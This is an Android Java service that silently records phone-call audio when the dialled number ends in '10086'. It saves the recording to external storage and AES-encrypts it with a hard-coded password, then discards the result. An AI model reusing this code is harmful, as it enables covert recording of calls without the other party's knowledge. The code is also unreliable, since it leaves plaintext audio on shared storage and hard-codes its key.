
package com.xxx.phonerecorder;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.telephony.TelephonyManager;
import android.util.Log;

import com.xxx.util.AESUtil;
import com.xxx.util.Const;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

public class RecorderService extends Service {
    private static final String TAG = "RecorderService";
    private static final boolean DBG = Const.DBG | true;
    private boolean mIsRecording = false;
    private MediaRecorder mMR;
    private File mAmrFile;

    private void recordStream() throws IOException {
        SimpleDateFormat formatter = new SimpleDateFormat("yyyy_MM_dd_HHmmss");
        String time = formatter.format(new Date());

        mMR.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);
        mMR.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
        mMR.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

        // File.separator;
        mAmrFile = File.createTempFile(time, ".amr",
                Environment.getExternalStorageDirectory());
        mMR.setOutputFile(mAmrFile.getAbsolutePath());
        mMR.prepare();
        mMR.start();
    }

    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        return null;
    }

    public void onCreate() {
        super.onCreate();
    }

    public void onDestroy() {
        super.onDestroy();
    }

    public void onStart(Intent it, int startId) {
        super.onStart(it, startId);
    }

    public int onStartCommand(Intent intent, int flags, int startId) {
        super.onStartCommand(intent, flags, startId);
        String action = intent.getAction();
        if (action.equals(Const.ACTION_START_RECORD)) {
            if (intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER)
                    .endsWith("10086")) {
                mIsRecording = true;
                mMR = new MediaRecorder();
                try {
                    recordStream();
                } catch (Exception e) {
                    Log.e(TAG, e.toString());
                }
            }
        } else if (action.equals(Const.ACTION_STOP_RECORD)) {
            if (mIsRecording) {
                mIsRecording = false;
                mMR.stop();
                try {
                    File file = new File(mAmrFile.getAbsolutePath());

                    FileInputStream fis = new FileInputStream(file);

                    int length = fis.available();

                    byte[] buffer = new byte[length];
                    fis.read(buffer);
                    String encryptString = AESUtil.encrypt(Const.PASSWORD,
                            AESUtil.toHex(buffer));
                    
                    fis.close();
                } catch (Exception e) {
                    if (DBG)
                        Log.e(TAG, e.toString());
                }
            }
            this.stopSelf();
        }
        return START_STICKY;
    }
}
